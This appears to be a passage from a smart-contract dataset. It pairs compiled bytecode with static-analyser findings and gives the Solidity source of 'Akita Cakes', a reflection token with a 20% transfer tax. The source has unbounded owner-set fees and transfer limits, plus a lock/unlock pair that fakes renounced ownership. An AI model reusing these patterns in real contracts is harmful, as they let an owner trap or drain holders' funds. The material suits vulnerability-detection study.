6e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b61399b8161356e565b81146139a657600080fd5b50565b6139b281613580565b81146139bd57600080fd5b50565b6139c9816135ac565b81146139d457600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a2379d0916a026f5c5fb69eb50472ce2bf1463e17091eaab9135d5bea01a46fa64736f6c63430008070033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 161 |
0xe3138c5c10a699157e99134b6bf98ef5bc502db6 | pragma solidity ^0.8.4;
// SPDX-License-Identifier: MIT
// Name: Akita Cakes
// Symbol: ACakes
// Decimals: 18
// 20% TAX In Each Transaction
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IBEP20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) { return 0; }
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor (address initialOwner) {
_owner = initialOwner;
emit OwnershipTransferred(address(0), initialOwner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function getUnlockTime() public view returns (uint256) {
return _lockTime;
}
function lock(uint256 time) public virtual onlyOwner {
_previousOwner = _owner;
_owner = address(0);
_lockTime = block.timestamp + time;
emit OwnershipTransferred(_owner, address(0));
}
function unlock() public virtual {
require(_previousOwner == msg.sender, "You don't have permission to unlock");
require(block.timestamp > _lockTime , "Contract is still locked");
emit OwnershipTransferred(_owner, _previousOwner);
_owner = _previousOwner;
}
}
contract ACakes is Context, IBEP20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
mapping (address => mapping (address => uint256)) private _allowances;
address[] private _excluded;
address public _marketingWallet;
address public _charityWallet;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 1000000000000 * 10**18;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "Akita Cakes";
string private constant _symbol = "ACakes";
uint8 private constant _decimals = 18;
uint256 private _taxFee = 0; // Unused
uint256 public _marketingFee = 10; // 10% of every transaction is sent to marketing wallet
uint256 public _charityFee = 10; // 10% of every transaction is sent to charity wallet
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousMarketingFee = _marketingFee;
uint256 private _previousCharityFee = _charityFee;
uint256 public _maxTxAmount = _tTotal / 2;
constructor (address cOwner, address marketingWallet, address charityWallet) Ownable(cOwner) {
_marketingWallet = marketingWallet;
_charityWallet = charityWallet;
_rOwned[cOwner] = _rTotal;
// exclude system addresses from fee
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingWallet] = true;
_isExcludedFromFee[_charityWallet] = true;
emit Transfer(address(0), cOwner, _tTotal);
}
receive() external payable {}
// BEP20
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "BEP20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "BEP20: decreased allowance below zero"));
return true;
}
// REFLECTION
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(, uint256 tFee, uint256 tMarketing, uint256 tCharity) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount,,) = _getRValues(tAmount, tFee, tMarketing, tCharity, currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(, uint256 tFee, uint256 tMarketing, uint256 tCharity) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount,,) = _getRValues(tAmount, tFee, tMarketing, tCharity, currentRate);
return rAmount;
} else {
(, uint256 tFee, uint256 tMarketing, uint256 tCharity) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(, uint256 rTransferAmount,) = _getRValues(tAmount, tFee, tMarketing, tCharity, currentRate);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeFromReward(address account) public onlyOwner {
require(!_isExcluded[account], "Account is already excluded");
if (_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeInReward(address account) external onlyOwner {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) public onlyOwner {
_isExcludedFromFee[account] = false;
}
function setTaxFeePercent(uint256 taxFee) external onlyOwner {
_taxFee = taxFee;
_previousTaxFee = taxFee;
}
function setMarketingFeePercent(uint256 marketingFee) external onlyOwner {
_marketingFee = marketingFee;
_previousMarketingFee = marketingFee;
}
function setCharityFeePercent(uint256 charityFee) external onlyOwner {
_charityFee = charityFee;
_previousCharityFee = charityFee;
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner {
_maxTxAmount = _tTotal.mul(maxTxPercent).div(100);
}
function isExcludedFromFee(address account) public view returns(bool) {
return _isExcludedFromFee[account];
}
function isExcludedFromReward(address account) public view returns (bool) {
return _isExcluded[account];
}
function setMarketingWallet(address marketingWallet) external onlyOwner {
_marketingWallet = marketingWallet;
}
function setCharityWallet(address charityWallet) external onlyOwner {
_charityWallet = charityWallet;
}
// TRANSFER
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "BEP20: transfer from the zero address");
require(to != address(0), "BEP20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
}
bool takeFee = true;
// if sender or recipient is excluded from fees, remove fees
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if (!takeFee) {
removeAllFee();
}
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if (!takeFee) {
restoreAllFee();
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 tTransferAmount, uint256 tFee, uint256 tMarketing, uint256 tCharity) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tMarketing, tCharity, currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
takeTransactionFee(address(_marketingWallet), tMarketing, currentRate);
takeTransactionFee(address(_charityWallet), tCharity, currentRate);
reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 tTransferAmount, uint256 tFee, uint256 tMarketing, uint256 tCharity) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tMarketing, tCharity, currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
takeTransactionFee(address(_marketingWallet), tMarketing, currentRate);
takeTransactionFee(address(_charityWallet), tCharity, currentRate);
reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 tTransferAmount, uint256 tFee, uint256 tMarketing, uint256 tCharity) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tMarketing, tCharity, currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
takeTransactionFee(address(_marketingWallet), tMarketing, currentRate);
takeTransactionFee(address(_charityWallet), tCharity, currentRate);
reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 tTransferAmount, uint256 tFee, uint256 tMarketing, uint256 tCharity) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tMarketing, tCharity, currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
takeTransactionFee(address(_marketingWallet), tMarketing, currentRate);
takeTransactionFee(address(_charityWallet), tCharity, currentRate);
reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function removeAllFee() private {
if (_taxFee == 0 && _marketingFee == 0 && _charityFee == 0) return;
_previousTaxFee = _taxFee;
_previousMarketingFee = _marketingFee;
_previousCharityFee = _charityFee;
_taxFee = 0;
_marketingFee = 0;
_charityFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_marketingFee = _previousMarketingFee;
_charityFee = _previousCharityFee;
}
function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(_taxFee).div(100);
uint256 tMarketing = tAmount.mul(_marketingFee).div(100);
uint256 tCharity = tAmount.mul(_charityFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee);
tTransferAmount = tTransferAmount.sub(tMarketing);
tTransferAmount = tTransferAmount.sub(tCharity);
return (tTransferAmount, tFee, tMarketing, tCharity);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tMarketing, uint256 tCharity, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rMarketing = tMarketing.mul(currentRate);
uint256 rCharity = tCharity.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
rTransferAmount = rTransferAmount.sub(rMarketing);
rTransferAmount = rTransferAmount.sub(rCharity);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function takeTransactionFee(address to, uint256 tAmount, uint256 currentRate) private {
if (tAmount <= 0) { return; }
uint256 rAmount = tAmount.mul(currentRate);
_rOwned[to] = _rOwned[to].add(rAmount);
if (_isExcluded[to]) {
_tOwned[to] = _tOwned[to].add(tAmount);
}
}
} | 0x6080604052600436106102295760003560e01c80635342acb411610123578063962dfc75116100ab578063d543dbeb1161006f578063d543dbeb14610695578063dd467064146106b5578063dd62ed3e146106d5578063ea2f0b371461071b578063f2fde38b1461073b57600080fd5b8063962dfc7514610600578063a457c2d714610620578063a69df4b514610640578063a9059cbb14610655578063af41063b1461067557600080fd5b8063715018a6116100f2578063715018a61461054f5780637d1db4a51461056457806388f820201461057a5780638da5cb5b146105b357806395d89b41146105d157600080fd5b80635342acb4146104c15780635d098b38146104fa578063602bc62b1461051a57806370a082311461052f57600080fd5b8063313ce567116101b1578063437823ec11610175578063437823ec1461040957806343a18909146104295780634549b03914610461578063457c194c1461048157806352390c02146104a157600080fd5b8063313ce567146103775780633685d4191461039357806339509351146103b35780633bd5d173146103d357806340f8007a146103f357600080fd5b806318160ddd116101f857806318160ddd146102ec57806322976e0d1461030157806323b872dd146103175780632d8381191461033757806330563bd71461035757600080fd5b8063061c82d01461023557806306fdde0314610257578063095ea7b31461029d57806313114a9d146102cd57600080fd5b3661023057005b600080fd5b34801561024157600080fd5b506102556102503660046121c9565b61075b565b005b34801561026357600080fd5b5060408051808201909152600b81526a416b6974612043616b657360a81b60208201525b6040516102949190612214565b60405180910390f35b3480156102a957600080fd5b506102bd6102b83660046121a0565b610798565b6040519015158152602001610294565b3480156102d957600080fd5b50600d545b604051908152602001610294565b3480156102f857600080fd5b50600b546102de565b34801561030d57600080fd5b506102de600f5481565b34801561032357600080fd5b506102bd610332366004612165565b6107af565b34801561034357600080fd5b506102de6103523660046121c9565b610818565b34801561036357600080fd5b50610255610372366004612119565b61089c565b34801561038357600080fd5b5060405160128152602001610294565b34801561039f57600080fd5b506102556103ae366004612119565b6108e8565b3480156103bf57600080fd5b506102bd6103ce3660046121a0565b610ad7565b3480156103df57600080fd5b506102556103ee3660046121c9565b610b0d565b3480156103ff57600080fd5b506102de60105481565b34801561041557600080fd5b50610255610424366004612119565b610c1c565b34801561043557600080fd5b50600a54610449906001600160a01b031681565b6040516001600160a01b039091168152602001610294565b34801561046d57600080fd5b506102de61047c3660046121e1565b610c6a565b34801561048d57600080fd5b5061025561049c3660046121c9565b610d42565b3480156104ad57600080fd5b506102556104bc366004612119565b610d76565b3480156104cd57600080fd5b506102bd6104dc366004612119565b6001600160a01b031660009081526005602052604090205460ff1690565b34801561050657600080fd5b50610255610515366004612119565b610ec9565b34801561052657600080fd5b506002546102de565b34801561053b57600080fd5b506102de61054a366004612119565b610f15565b34801561055b57600080fd5b50610255610f74565b34801561057057600080fd5b506102de60145481565b34801561058657600080fd5b506102bd610595366004612119565b6001600160a01b031660009081526006602052604090205460ff1690565b3480156105bf57600080fd5b506000546001600160a01b0316610449565b3480156105dd57600080fd5b506040805180820190915260068152654143616b657360d01b6020820152610287565b34801561060c57600080fd5b50600954610449906001600160a01b031681565b34801561062c57600080fd5b506102bd61063b3660046121a0565b610fd6565b34801561064c57600080fd5b50610255611025565b34801561066157600080fd5b506102bd6106703660046121a0565b61112b565b34801561068157600080fd5b506102556106903660046121c9565b611138565b3480156106a157600080fd5b506102556106b03660046121c9565b61116c565b3480156106c157600080fd5b506102556106d03660046121c9565b6111bc565b3480156106e157600080fd5b506102de6106f0366004612133565b6001600160a01b03918216600090815260076020908152604080832093909416825291909152205490565b34801561072757600080fd5b50610255610736366004612119565b611241565b34801561074757600080fd5b50610255610756366004612119565b61128c565b6000546001600160a01b0316331461078e5760405162461bcd60e51b815260040161078590612267565b60405180910390fd5b600e819055601155565b60006107a5338484611364565b5060015b92915050565b60006107bc848484611488565b61080e84336108098560405180606001604052806028815260200161233c602891396001600160a01b038a16600090815260076020908152604080832033845290915290205491906116a1565b611364565b5060019392505050565b6000600c5482111561087f5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610785565b60006108896116db565b905061089583826116fe565b9392505050565b6000546001600160a01b031633146108c65760405162461bcd60e51b815260040161078590612267565b600a80546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146109125760405162461bcd60e51b815260040161078590612267565b6001600160a01b03811660009081526006602052604090205460ff1661097a5760405162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c7265616479206578636c7564656400000000006044820152606401610785565b60005b600854811015610ad357816001600160a01b0316600882815481106109b257634e487b7160e01b600052603260045260246000fd5b6000918252602090912001546001600160a01b03161415610ac157600880546109dd906001906122f3565b815481106109fb57634e487b7160e01b600052603260045260246000fd5b600091825260209091200154600880546001600160a01b039092169183908110610a3557634e487b7160e01b600052603260045260246000fd5b600091825260208083209190910180546001600160a01b0319166001600160a01b039485161790559184168152600482526040808220829055600690925220805460ff191690556008805480610a9b57634e487b7160e01b600052603160045260246000fd5b600082815260209020810160001990810180546001600160a01b03191690550190555050565b80610acb8161230a565b91505061097d565b5050565b3360008181526007602090815260408083206001600160a01b038716845290915281205490916107a59185906108099086611740565b3360008181526006602052604090205460ff1615610b825760405162461bcd60e51b815260206004820152602c60248201527f4578636c75646564206164647265737365732063616e6e6f742063616c6c207460448201526b3434b990333ab731ba34b7b760a11b6064820152608401610785565b6000806000610b908561179f565b935093509350506000610ba16116db565b90506000610bb28786868686611833565b50506001600160a01b038716600090815260036020526040902054909150610bda90826118a7565b6001600160a01b038716600090815260036020526040902055600c54610c0090826118a7565b600c55600d54610c109088611740565b600d5550505050505050565b6000546001600160a01b03163314610c465760405162461bcd60e51b815260040161078590612267565b6001600160a01b03166000908152600560205260409020805460ff19166001179055565b6000600b54831115610cbe5760405162461bcd60e51b815260206004820152601f60248201527f416d6f756e74206d757374206265206c657373207468616e20737570706c79006044820152606401610785565b81610d03576000806000610cd18661179f565b935093509350506000610ce26116db565b90506000610cf38886868686611833565b509096506107a995505050505050565b6000806000610d118661179f565b935093509350506000610d226116db565b90506000610d338886868686611833565b5096506107a995505050505050565b6000546001600160a01b03163314610d6c5760405162461bcd60e51b815260040161078590612267565b600f819055601255565b6000546001600160a01b03163314610da05760405162461bcd60e51b815260040161078590612267565b6001600160a01b03811660009081526006602052604090205460ff1615610e095760405162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c7265616479206578636c7564656400000000006044820152606401610785565b6001600160a01b03811660009081526003602052604090205415610e63576001600160a01b038116600090815260036020526040902054610e4990610818565b6001600160a01b0382166000908152600460205260409020555b6001600160a01b03166000818152600660205260408120805460ff191660019081179091556008805491820181559091527ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee30180546001600160a01b0319169091179055565b6000546001600160a01b03163314610ef35760405162461bcd60e51b815260040161078590612267565b600980546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b03811660009081526006602052604081205460ff1615610f5257506001600160a01b031660009081526004602052604090205490565b6001600160a01b0382166000908152600360205260409020546107a990610818565b6000546001600160a01b03163314610f9e5760405162461bcd60e51b815260040161078590612267565b600080546040516001600160a01b0390911690600080516020612364833981519152908390a3600080546001600160a01b0319169055565b60006107a5338461080985604051806060016040528060258152602001612384602591393360009081526007602090815260408083206001600160a01b038d16845290915290205491906116a1565b6001546001600160a01b0316331461108b5760405162461bcd60e51b815260206004820152602360248201527f596f7520646f6e27742068617665207065726d697373696f6e20746f20756e6c6044820152626f636b60e81b6064820152608401610785565b60025442116110dc5760405162461bcd60e51b815260206004820152601860248201527f436f6e7472616374206973207374696c6c206c6f636b656400000000000000006044820152606401610785565b600154600080546040516001600160a01b03938416939091169160008051602061236483398151915291a3600154600080546001600160a01b0319166001600160a01b03909216919091179055565b60006107a5338484611488565b6000546001600160a01b031633146111625760405162461bcd60e51b815260040161078590612267565b6010819055601355565b6000546001600160a01b031633146111965760405162461bcd60e51b815260040161078590612267565b6111b660646111b083600b546118e990919063ffffffff16565b906116fe565b60145550565b6000546001600160a01b031633146111e65760405162461bcd60e51b815260040161078590612267565b60008054600180546001600160a01b03199081166001600160a01b03841617909155169055611215814261229c565b600255600080546040516001600160a01b0390911690600080516020612364833981519152908390a350565b6000546001600160a01b0316331461126b5760405162461bcd60e51b815260040161078590612267565b6001600160a01b03166000908152600560205260409020805460ff19169055565b6000546001600160a01b031633146112b65760405162461bcd60e51b815260040161078590612267565b6001600160a01b03811661131b5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610785565b600080546040516001600160a01b038085169392169160008051602061236483398151915291a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166113c65760405162461bcd60e51b8152602060048201526024808201527f42455032303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610785565b6001600160a01b0382166114275760405162461bcd60e51b815260206004820152602260248201527f42455032303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610785565b6001600160a01b0383811660008181526007602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166114ec5760405162461bcd60e51b815260206004820152602560248201527f42455032303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610785565b6001600160a01b03821661154e5760405162461bcd60e51b815260206004820152602360248201527f42455032303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610785565b600081116115b05760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610785565b6000546001600160a01b038481169116148015906115dc57506000546001600160a01b03838116911614155b15611644576014548111156116445760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b6064820152608401610785565b6001600160a01b03831660009081526005602052604090205460019060ff168061168657506001600160a01b03831660009081526005602052604090205460ff165b1561168f575060005b61169b84848484611968565b50505050565b600081848411156116c55760405162461bcd60e51b81526004016107859190612214565b5060006116d284866122f3565b95945050505050565b60008060006116e8611ae5565b90925090506116f782826116fe565b9250505090565b600061089583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611c9f565b60008061174d838561229c565b9050838110156108955760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610785565b60008060008060006117c160646111b0600e54896118e990919063ffffffff16565b905060006117df60646111b0600f548a6118e990919063ffffffff16565b905060006117fd60646111b06010548b6118e990919063ffffffff16565b9050600061180b89856118a7565b905061181781846118a7565b905061182381836118a7565b9993985091965094509092505050565b600080808061184289866118e9565b9050600061185089876118e9565b9050600061185e89886118e9565b9050600061186c89896118e9565b9050600061187a85856118a7565b905061188681846118a7565b905061189281836118a7565b949d949c50929a509298505050505050505050565b600061089583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506116a1565b6000826118f8575060006107a9565b600061190483856122d4565b90508261191185836122b4565b146108955760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610785565b8061197557611975611ccd565b6001600160a01b03841660009081526006602052604090205460ff1680156119b657506001600160a01b03831660009081526006602052604090205460ff16155b156119cb576119c6848484611d12565b611ac9565b6001600160a01b03841660009081526006602052604090205460ff16158015611a0c57506001600160a01b03831660009081526006602052604090205460ff165b15611a1c576119c6848484611e77565b6001600160a01b03841660009081526006602052604090205460ff16158015611a5e57506001600160a01b03831660009081526006602052604090205460ff16155b15611a6e576119c6848484611f3c565b6001600160a01b03841660009081526006602052604090205460ff168015611aae57506001600160a01b03831660009081526006602052604090205460ff165b15611abe576119c6848484611f9c565b611ac9848484611f3c565b8061169b5761169b601154600e55601254600f55601354601055565b600c54600b546000918291825b600854811015611c6f57826003600060088481548110611b2257634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b031683528201929092526040019020541180611b9b5750816004600060088481548110611b7457634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b03168352820192909252604001902054115b15611bb157600c54600b54945094505050509091565b611c056003600060088481548110611bd957634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b0316835282019290925260400190205484906118a7565b9250611c5b6004600060088481548110611c2f57634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b0316835282019290925260400190205483906118a7565b915080611c678161230a565b915050611af2565b50600b54600c54611c7f916116fe565b821015611c9657600c54600b549350935050509091565b90939092509050565b60008183611cc05760405162461bcd60e51b81526004016107859190612214565b5060006116d284866122b4565b600e54158015611cdd5750600f54155b8015611ce95750601054155b15611cf057565b600e8054601155600f8054601255601080546013556000928390559082905555565b600080600080611d218561179f565b93509350935093506000611d336116db565b90506000806000611d478988888888611833565b6001600160a01b038e166000908152600460205260409020549295509093509150611d72908a6118a7565b6001600160a01b038c16600090815260046020908152604080832093909355600390522054611da190846118a7565b6001600160a01b03808d1660009081526003602052604080822093909355908c1681522054611dd09083611740565b6001600160a01b03808c16600090815260036020526040902091909155600954611dfc9116878661202b565b600a54611e13906001600160a01b0316868661202b565b611e1d81886120d9565b896001600160a01b03168b6001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8a604051611e6291815260200190565b60405180910390a35050505050505050505050565b600080600080611e868561179f565b93509350935093506000611e986116db565b90506000806000611eac8988888888611833565b6001600160a01b038e166000908152600360205260409020549295509093509150611ed790846118a7565b6001600160a01b03808d16600090815260036020908152604080832094909455918d16815260049091522054611f0d9089611740565b6001600160a01b038b16600090815260046020908152604080832093909355600390522054611dd09083611740565b600080600080611f4b8561179f565b93509350935093506000611f5d6116db565b90506000806000611f718988888888611833565b6001600160a01b038e